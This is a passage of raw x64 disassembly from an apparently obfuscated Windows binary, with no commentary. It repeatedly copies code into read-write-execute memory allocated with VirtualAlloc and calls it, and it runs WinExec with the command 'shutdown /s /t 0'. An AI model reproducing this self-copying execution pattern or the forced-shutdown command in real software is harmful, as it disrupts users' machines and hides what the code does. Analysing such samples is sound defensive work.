movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub rdx, 1
jne 0x14001c812
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x140068270]
lea rcx, [0x140021750]
mov qword [r13 + rax*8 + 0x6d450], rcx
mov qword [r13 + rax*8 + 0x68be0], r8
inc rax
mov qword [0x140068270], rax
lea rdx, [rbp + 0x620]
mov rcx, qword [rdi]
call r8
movaps xmm9, xmm0
lea rcx, [rbp + 0x2a18]
call fcn.140009fa0
mov edx, 0x18
lea rcx, [rbp + 0x2a30]
call fcn.140004660
mov rdx, rbx
lea rcx, [rbp + 0x2a30]
call fcn.140009f70
nop
mov ecx, r12d
mov rax, qword [0x140067c30]
lea rbx, [0x140021750]
test rax, rax
je 0x14001c949
nop dword [rax]
cmp rax, rbx
je 0x14001c936
inc ecx
mov rax, qword [r13 + rcx*8 + 0x67c30]
test rax, rax
jne 0x14001c920
jmp 0x14001c949
mov eax, ecx
mov r8, qword [r13 + rax*8 + 0x6ce10]
test r8, r8
jne 0x14001ca2f
mov edx, 0x1f4
xor ecx, ecx
mov r9d, 0x40
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8, rax
test rax, rax
jne 0x14001c972
mov r8, r12
jmp 0x14001ca0e
mov rax, rbx
mov rcx, r8
mov edx, 3
nop dword [rax]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub rdx, 1
jne 0x14001c980
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x140068278]
mov qword [r13 + rax*8 + 0x67c30], rbx
mov qword [r13 + rax*8 + 0x6ce10], r8
inc rax
mov qword [0x140068278], rax
lea rdx, [rbp + 0x1a78]
mov rcx, qword [rsi]
call r8
movaps xmm8, xmm0
lea rcx, [rbp + 0x2a30]
call fcn.140009fa0
mov edx, 0x18
lea rcx, [rbp + 0x2a48]
call fcn.140004660
lea rsi, [rbp + 0x15798]
mov rdx, rsi
lea rcx, [rbp + 0x2a48]
call fcn.140009f70
nop
mov ecx, r12d
mov rax, qword [0x140067c30]
test rax, rax
je 0x14001caac
cmp rax, rbx
je 0x14001ca99
inc ecx
mov rax, qword [r13 + rcx*8 + 0x67c30]
test rax, rax
jne 0x14001ca83
jmp 0x14001caac
mov eax, ecx
mov r8, qword [r13 + rax*8 + 0x6ce10]
test r8, r8
jne 0x14001cb8f
mov edx, 0x1f4
xor ecx, ecx
mov r9d, 0x40
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8, rax
test rax, rax
jne 0x14001cad5
mov r8, r12
jmp 0x14001cb6e
mov rax, rbx
mov rcx, r8
mov edx, 3
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub rdx, 1
jne 0x14001cae0
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x140068278]
mov qword [r13 + rax*8 + 0x67c30], rbx
mov qword [r13 + rax*8 + 0x6ce10], r8
inc rax
mov qword [0x140068278], rax
lea rdx, [rbp + 0x1a80]
mov rcx, qword [r14]
call r8
movaps xmm6, xmm0
lea rcx, [rbp + 0x2a48]
call fcn.140009fa0
mulsd xmm8, xmm6
addsd xmm8, xmm9
subsd xmm8, xmm10
lea rcx, [rbp + 0x2a60]
call fcn.140009fa0
addsd xmm8, qword [rsp + 0x68]
movsd qword [rsp + 0x68], xmm8
lea rdx, [0x140009f50]
lea rcx, [rbp + 0xcb0]
call fcn.140021e00
mov rbx, rax
mov dword [rbp - 0x6c], 3
lea rdx, [rbp + 0x12d90]
lea rcx, [rbp + 0x19b8]
call fcn.140021f10
movsd qword [rbp + 0x628], xmm0
mov edx, 0x18
lea rcx, [rbp + 0x2a78]
call fcn.140004660
mov rdx, rsi
lea rcx, [rbp + 0x2a78]
call fcn.140009f70
nop
mov ecx, r12d
mov rax, qword [0x14006c170]
lea r14, [0x140021830]
test rax, rax
je 0x14001cc6c
cmp rax, r14
je 0x14001cc59
inc ecx
mov rax, qword [r13 + rcx*8 + 0x6c170]
test rax, rax
jne 0x14001cc43
jmp 0x14001cc6c
mov eax, ecx
mov r9, qword [r13 + rax*8 + 0x6b7f0]
test r9, r9
jne 0x14001cd4f
mov edx, 0x1f4
xor ecx, ecx
mov r9d, 0x40
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r9, rax
test rax, rax
jne 0x14001cc95
mov r9, r12
jmp 0x14001cd2e
mov rax, r14
mov rcx, r9
mov edx, 3
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub rdx, 1
jne 0x14001cca0
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x140067c20]
mov qword [r13 + rax*8 + 0x6c170], r14
mov qword [r13 + rax*8 + 0x6b7f0], r9
inc rax
mov qword [0x140067c20], rax
lea r8, [rbp - 0x6c]
lea rdx, [rbp + 0x628]
mov rcx, qword [rbx]
call r9
movaps xmm6, xmm0
lea rcx, [rbp + 0x2a78]
call fcn.140009fa0
movsd xmm1, qword [rsp + 0x68]
subsd xmm1, xmm6
movsd qword [rsp + 0x68], xmm1
lea rdx, [0x140009f60]
lea rcx, [rbp + 0xcb8]
call fcn.140021df0
mov rbx, rax
lea rdx, [rbp + 0x12d90]
lea rcx, [rbp + 0x19b8]
call fcn.140021f10
movsd qword [rbp + 0x660], xmm0
mov edx, 0x18
lea rcx, [rbp + 0x2a90]
call fcn.140004660
mov rdx, rsi
lea rcx, [rbp + 0x2a90]
call fcn.140009f70
nop
mov edx, r12d
mov rcx, qword [0x14006a840]
lea r14, [0x140021750]
test rcx, rcx
je 0x14001ce10
cmp rcx, r14
je 0x14001cdfd
inc edx
mov rcx, qword [r13 + rdx*8 + 0x6a840]
test rcx, rcx
jne 0x14001cde7
jmp 0x14001ce10
mov eax, edx
mov r8, qword [r13 + rax*8 + 0x69ba0]
test r8, r8
jne 0x14001ceff
mov edx, 0x1f4
xor ecx, ecx
mov r9d, 0x40
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8, rax
test rax, rax
jne 0x14001ce39
mov r8, r12
jmp 0x14001cede
mov rax, r14
mov rcx, r8
mov edx, 3
nop dword [rax]
nop dword [rax + rax]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub rdx, 1
jne 0x14001ce50
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x14006cdf8]
mov qword [r13 + rax*8 + 0x6a840], r14
mov qword [r13 + rax*8 + 0x69ba0], r8
inc rax
mov qword [0x14006cdf8], rax
lea rdx, [rbp + 0x660]
mov rcx, qword [rbx]
call r8
movaps xmm6, xmm0
lea rcx, [rbp + 0x2a90]
call fcn.140009fa0
mulsd xmm6, qword [rsp + 0x68]
movsd qword [rsp + 0x68], xmm6
mov eax, dword [rsp + 0x60]
lea rdx, [rbp + 0x12d90]
lea rcx, [rbp + 0x15c0]
test al, 1
jne 0x14001cf4e
call fcn.140007450
mov ecx, dword [rsp + 0x60]
add eax, ecx
mov dword [rsp + 0x60], eax
jmp 0x14001cf5d
call fcn.140007450
mov ecx, dword [rsp + 0x60]
sub ecx, eax
mov dword [rsp + 0x60], ecx
mov byte [rbp + 0x1584], 0
mov edi, 5
nop dword [rax]
mov ebx, r12d
nop dword [rax]
nop word [rax + rax]
lea rdx, [rbp + 0x12d90]
lea rcx, [rbp + 0x15c0]
call fcn.140007450
mov ecx, dword [rsp + 0x60]
add eax, ecx
mov dword [rsp + 0x60], eax
lea rdx, [rbp + 0x12d90]
lea rcx, [rbp + 0x19b8]
call fcn.140021f10
movsd xmm1, qword [rsp + 0x68]
addsd xmm0, xmm1
movsd qword [rsp + 0x68], xmm0
lea rdx, [rbp + 0x12d90]
test bl, 1
jne 0x14001cfe5
lea rcx, [rbp + 0x15c0]
call fcn.140007450
mov ecx, dword [rsp + 0x60]
imul eax, ecx
mov dword [rsp + 0x60], eax
jmp 0x14001d005
movsd xmm6, qword [rsp + 0x68]
lea rcx, [rbp + 0x19b8]
call fcn.140021f10
addsd xmm0, xmm7
divsd xmm6, xmm0
movsd qword [rsp + 0x68], xmm6
inc ebx
cmp ebx, 5
jl 0x14001cf80
sub rdi, 1
jne 0x14001cf70
lea rdx, [rbp + 0x12d90]
lea rcx, [rbp + 0x15c0]
call fcn.140007450
mov ebx, eax
lea rdx, [rbp + 0x12d90]
lea rcx, [rbp + 0x15c0]
call fcn.140007450
mov r8d, ebx
mov edx, eax
lea rcx, [rbp + 0x1584]
call fcn.1400218b0
mov ecx, dword [rsp + 0x60]
add eax, ecx
mov dword [rsp + 0x60], eax
lea rcx, [rbp + 0x1830]
call fcn.1400047a0
sub r15, 1
jne 0x14001c0d0
lea rcx, [rbp + 0x668]
call fcn.140009fc0
mov rcx, rax
lea rdx, [rbp + 0x1a88]
call fcn.140021890
xor edx, edx
movzx ecx, al
call fcn.140009f40
test al, al
jne 0x14001c0c0
mov eax, dword [rsp + 0x60]
lea rcx, [rbp + 0x2d80]
call fcn.140004eb0
nop
lea rcx, [rbp + 0x18d8]
call fcn.140021e60
mov rdx, qword [sym.imp.KERNEL32.dll_WinExec]
lea rcx, [rbp + 0xcc0]
call fcn.1400213f0
mov rbx, rax
mov dword [rbp - 0x68], r12d
mov edx, 0x18
lea rcx, [rbp + 0x2aa8]
call fcn.140004660
lea rdx, [rbp + 0x15798]
lea rcx, [rbp + 0x2aa8]
call fcn.140009f70
nop
mov edx, r12d
lea rdi, [0x140021be0]
mov rcx, qword [0x14006ab60]
test rcx, rcx
je 0x14001d13b
cmp rcx, rdi
je 0x14001d128
inc edx
mov rcx, qword [r13 + rdx*8 + 0x6ab60]
test rcx, rcx
jne 0x14001d112
jmp 0x14001d13b
mov eax, edx
mov r9, qword [r13 + rax*8 + 0x6c7b0]
test r9, r9
jne 0x14001d21f
mov edx, 0x1f4
xor ecx, ecx
mov r9d, 0x40
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r9, rax
test rax, rax
jne 0x14001d164
mov r9, r12
jmp 0x14001d1fe
mov rax, rdi
mov rcx, r9
mov edx, 3
nop
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub rdx, 1
jne 0x14001d170
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x14006cdf0]
mov qword [r13 + rax*8 + 0x6ab60], rdi
mov qword [r13 + rax*8 + 0x6c7b0], r9
inc rax
mov qword [0x14006cdf0], rax
lea r8, [rbp - 0x68]
lea rdx, str.shutdown__s__t_00
mov rcx, qword [rbx]
call r9
nop
lea rcx, [rbp + 0x2aa8]
call fcn.140009fa0
add dword [rbp + 0x1578], 0xf07
mov rdx, qword [sym.imp.KERNEL32.dll_Sleep]
lea rcx, [rbp + 0xcc8]
call fcn.1400213f0
mov rbx, rax
mov r8d, dword [rbp + 0x1578]
mov eax, 0x91a2b3c5
imul r8d
add edx, r8d
sar edx, 8
mov ecx, edx
shr ecx, 0x1f
add edx, ecx
imul ecx, edx, 0x1c2
sub r8d, ecx
mov dword [rbp - 0x64], r8d
mov edx, 0x18
lea rcx, [rbp + 0x2ac0]
call fcn.140004660
lea rdx, [rbp + 0x15798]
lea rcx, [rbp + 0x2ac0]
call fcn.140009f70
nop
mov ecx, r12d
mov rax, qword [0x14006b1a0]
lea rdi, [0x140021950]
test rax, rax
je 0x14001d2ea
cmp rax, rdi
je 0x14001d2d7
inc ecx
mov rax, qword [r13 + rcx*8 + 0x6b1a0]
test rax, rax
jne 0x14001d2c1
jmp 0x14001d2ea
mov eax, ecx
mov r8, qword [r13 + rax*8 + 0x685a0]
test r8, r8
jne 0x14001d3cf
mov edx, 0x1f4
xor ecx, ecx
mov r9d, 0x40
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8, rax
test rax, rax
jne 0x14001d313
mov r8, r12
jmp 0x14001d3ae
mov rax, rdi
mov rcx, r8
mov edx, 3
nop
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub rdx, 1
jne 0x14001d320
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x14006be40]
mov qword [r13 + rax*8 + 0x6b1a0], rdi
mov qword [r13 + rax*8 + 0x685a0], r8
inc rax
mov qword [0x14006be40], rax
lea rdx, [rbp - 0x64]
mov rcx, qword [rbx]
call r8
nop
lea rcx, [rbp + 0x2ac0]
call fcn.140009fa0
lea rcx, [rbp + 0x15d4]
call fcn.140001fd0
mov edx, eax
lea rcx, [rbp + 0x14120]
call fcn.1400048e0
mov edx, 0xffffff9c
mov r8d, 0x64
lea rcx, [rbp + 0x15a0]
call fcn.1400048d0
movaps xmm2, xmm13
movaps xmm1, xmm14
lea rcx, [rbp + 0x19d8]
call fcn.140021f00
mov dword [rsp + 0x60], r12d
movsd qword [rsp + 0x68], xmm15
mov edx, 0x18
lea rcx, [rbp + 0x18f0]
call fcn.140004660
lea rcx, [rbp + 0x18f0]
call fcn.140008aa0
nop
lea rcx, [rbp + 0x670]
call fcn.140021fb0
nop
mov rdx, rax
lea rcx, [rbp + 0x360]
call fcn.140021fe0
nop
lea rdx, [rbp + 0x360]
lea rcx, [rbp + 0x18f0]
call fcn.140021e30
nop
lea rcx, [rbp + 0x360]
call fcn.1400086c0
nop
lea rcx, [rbp + 0x670]
call fcn.1400086c0
lea rcx, [rbp + 0x6a8]
call fcn.140022000
nop
mov rdx, rax
lea rcx, [rbp + 0xc8]
call fcn.140021fe0
nop
lea rdx, [rbp + 0xc8]
lea rcx, [rbp + 0x18f0]
call fcn.140021e30
nop
lea rcx, [rbp + 0xc8]
call fcn.1400086c0
nop
lea rcx, [rbp + 0x6a8]
call fcn.1400086c0
lea rcx, [rbp + 0x720]
call fcn.140022030
nop
mov rdx, rax
lea rcx, [rbp + 0xd0]
call fcn.140021fe0
nop
lea rdx, [rbp + 0xd0]
lea rcx, [rbp + 0x18f0]
call fcn.140021e30
nop
lea rcx, [rbp + 0xd0]
call fcn.1400086c0
nop
lea rcx, [rbp + 0x720]
call fcn.1400086c0
lea rcx, [rbp + 0x7a0]
call fcn.140022060
nop
mov rdx, rax
lea rcx, [rbp + 0xd8]
call fcn.140021fe0
nop
lea rdx, [rbp + 0xd8]
lea rcx, [rbp + 0x18f0]
call fcn.140021e30
nop
lea rcx, [rbp + 0xd8]
call fcn.1400086c0
nop
lea rcx, [rbp + 0x7a0]
call fcn.1400086c0
lea rcx, [rbp + 0x808]
call fcn.140022090
nop
mov rdx, rax
lea rcx, [rbp + 0x110]
call fcn.140021fe0
nop
lea rdx, [rbp + 0x110]
lea rcx, [rbp + 0x18f0]
call fcn.140021e30
nop
lea rcx, [rbp + 0x110]
call fcn.1400086c0
nop
lea rcx, [rbp + 0x808]
call fcn.1400086c0
lea rcx, [rbp + 0x870]
call fcn.1400220c0
nop
mov rdx, rax
lea rcx, [rbp + 0x118]
call fcn.140021fe0
nop
lea rdx, [rbp + 0x118]
lea rcx, [rbp + 0x18f0]
call fcn.140021e30
nop
lea rcx, [rbp + 0x118]
call fcn.1400086c0
nop
lea rcx, [rbp + 0x870]
call fcn.1400086c0
lea rcx, [rbp + 0x2458]
call fcn.140009fc0
mov dword [rbp - 0x60], 0x64
lea rdx, [rbp - 0x60]
lea rcx, [rbp + 0xcd0]
call fcn.1400220f0
mov r8, rax
lea rdx, [rbp + 0x2458]
lea rcx, [rbp + 0x19f8]
call fcn.140022100
lea rdx, str.Rampant_nsanctuaries_nparenting_ncell_naccessible_nnecklaces_nyounger_ncontacts_nretreat_neffects_nmilitary_nKohgiluyeh_nChromatisme_nInternationale_nNational_ndisaster_ndreaming_nTeaching_nhistoric_nsending
lea rcx, [rbp + 0x2da0]
call fcn.140005020
nop
lea rcx, [rbp + 0x490]
call fcn.140009fc0
mov rcx, rax
lea rdx, [rbp + 0x19f8]
call fcn.140021890
xor edx, edx
movzx ecx, al
call fcn.140009f40
test al, al
je 0x14001e670
lea rsi, [rbp + 0x15798]
mov r15d, 0x2710
nop dword [rax + rax]
lea rdx, [rbp + 0x14120]
lea rcx, [rbp + 0x15a0]
call fcn.140007450
lea rdx, [rbp + 0x14120]
lea rcx, [rbp + 0x15a0]
call fcn.140007450
movsxd rbx, eax
lea rcx, [rbp + 0x18f0]
call fcn.140021e20
mov rcx, rax
xor edx, edx
mov rax, rbx
div rcx
movsxd rdx, edx
lea rcx, [rbp + 0x18f0]
call fcn.140021400
mov rcx, rax
call fcn.140021e10
mov rdi, rax
mov rcx, qword [rax]
mov rbx, qword [rcx + 8]
lea rdx, [rbp + 0x14120]
lea rcx, [rbp + 0x15a0]
call fcn.140007450
mov r8d, eax
mov edx, dword [rsp + 0x60]
mov rcx, rdi
call rbx
mov dword [rsp + 0x60], eax
mov edx, 0x18
lea rcx, [rbp + 0x2ad8]
call fcn.140004660
mov rdx, rsi
lea rcx, [rbp + 0x2ad8]
call fcn.140009f70
nop
xor edx, edx
mov r8d, 0x19
lea rcx, [rbp + 0x2450]
call fcn.1400048d0
lea rcx, [rbp + 0x2da0]
call fcn.140004ea0
mov rbx, rax
lea rcx, [rbp + 0x2da0]
call fcn.1400216d0
mov rdi, rax
cmp rbx, rax
je 0x14001d79f
nop dword [rax]
lea rdx, [rbp + 0x14120]
lea rcx, [rbp + 0x2450]
call fcn.140007450
add al, 0x61
mov byte [rbx], al
inc rbx
cmp rbx, rdi
jne 0x14001d780
lea rcx, [rbp + 0x2ad8]
call fcn.140009fa0
mov edx, 0x18
lea rcx, [rbp + 0x1848]
call fcn.140004660
lea rcx, [rbp - 0x72]
call fcn.1400048c0
mov r8, rax
mov edx, 0x64
lea rcx, [rbp + 0x1848]
call fcn.140004800
nop
lea r8, [rbp + 0x14120]
lea rdx, [rbp + 0x15a0]
lea rcx, [rbp + 0x11c0]
call fcn.14000a310
movups xmm6, xmmword [rax]
lea rdx, [rbp + 0xcd8]
lea rcx, [rbp + 0x1848]
call fcn.140021410
mov rbx, qword [rax]
lea rdx, [rbp + 0xce0]
lea rcx, [rbp + 0x1848]
call fcn.140021420
movaps xmmword [rsp + 0x70], xmm6
lea r8, [rsp + 0x70]
mov rdx, rbx
mov rcx, qword [rax]
call fcn.140022120
lea rdx, [rbp + 0xce8]
lea rcx, [rbp + 0x1848]
call fcn.140021410
mov rbx, qword [rax]
lea rdx, [rbp + 0xcf0]
lea rcx, [rbp + 0x1848]
call fcn.140021420
xor r8d, r8d
mov rdx, rbx
mov rcx, qword [rax]
call fcn.1400221a0
mov ecx, dword [rsp + 0x60]
add ecx, eax
mov dword [rsp + 0x60], ecx
mov edx, 0x18
lea rcx, [rbp + 0x2af0]
call fcn.140004660
mov rdx, rsi
lea rcx, [rbp + 0x2af0]
call fcn.140009f70
nop
mov edx, 0xffffff9c
mov r8d, 0x64
lea rcx, [rbp + 0x2448]
call fcn.1400048d0
lea r8, [rbp + 0x14120]
lea rdx, [rbp + 0x2448]
lea rcx, [rbp + 0x11a0]
call fcn.14000a310
movups xmm6, xmmword [rax]
lea rdx, [rbp + 0xcf8]
lea rcx, [rbp + 0x1848]
call fcn.140021420
mov rdi, qword [rax]
lea rdx, [rbp + 0xd00]
lea rcx, [rbp + 0x1848]
call fcn.140021410
mov rbx, qword [rax]
lea rdx, [rbp + 0xd08]
lea rcx, [rbp + 0x1848]
call fcn.140021420
movaps xmmword [rsp + 0x70], xmm6
lea rcx, [rsp + 0x70]
mov qword [rsp + 0x20], rcx
mov r9, rdi
mov r8, rbx
mov rdx, qword [rax]
lea rcx, [rbp + 0xd10]
call fcn.140021780
lea rdx, [rbp + 0xd18]
lea rcx, [rbp + 0x1848]
call fcn.140021410
mov rbx, qword [rax]
lea rdx, [rbp + 0xd20]
lea rcx, [rbp + 0x1848]
call fcn.140021420
mov rdx, rbx
mov rcx, qword [rax]
call fcn.140021810
nop
lea rcx, [rbp + 0x2af0]
call fcn.140009fa0
lea rdx, [rbp + 0x14120]
lea rcx, [rbp + 0x19d8]
call fcn.140021f10
movaps xmm6, xmm0
lea rdx, [rbp + 0x14120]
lea rcx, [rbp + 0x19d8]
call fcn.140021f10
movsd qword [rbp + 0x1b18], xmm0
movsd qword [rbp + 0x1ab8], xmm6
mov edx, 0x18
lea rcx, [rbp + 0x2b80]
call fcn.140004660
mov rdx, rsi
lea rcx, [rbp + 0x2b80]
call fcn.140009f70
nop
lea rdx, [0x14002dcf0]
lea rcx, [rbp + 0xd28]
call fcn.1400213f0
mov r14, rax
lea rdx, [0x14002e260]
lea rcx, [rbp + 0xd30]
call fcn.1400213f0
mov rsi, rax
lea rdx, [0x14002e7e0]
lea rcx, [rbp + 0xd38]
call fcn.1400213f0
mov rdi, rax
lea rdx, [0x140009f30]
lea rcx, [rbp + 0xd40]
call fcn.140021430
mov rbx, rax
mov edx, 0x18
lea rcx, [rbp + 0x2b08]
call fcn.140004660
lea rdx, [rbp + 0x15798]
lea rcx, [rbp + 0x2b08]
call fcn.140009f70
nop
mov ecx, r12d
mov rdx, qword [0x14006a520]
test rdx, rdx
je 0x14001da90
nop word [rax + rax]
lea rax, [0x140021750]
cmp rdx, rax
je 0x14001da7d
inc ecx
mov rdx, qword [r13 + rcx*8 + 0x6a520]
test rdx, rdx
jne 0x14001da60
jmp 0x14001da90
mov eax, ecx
mov r8, qword [r13 + rax*8 + 0x69230]
test r8, r8
jne 0x14001db86
mov edx, 0x1f4
xor ecx, ecx
mov r9d, 0x40
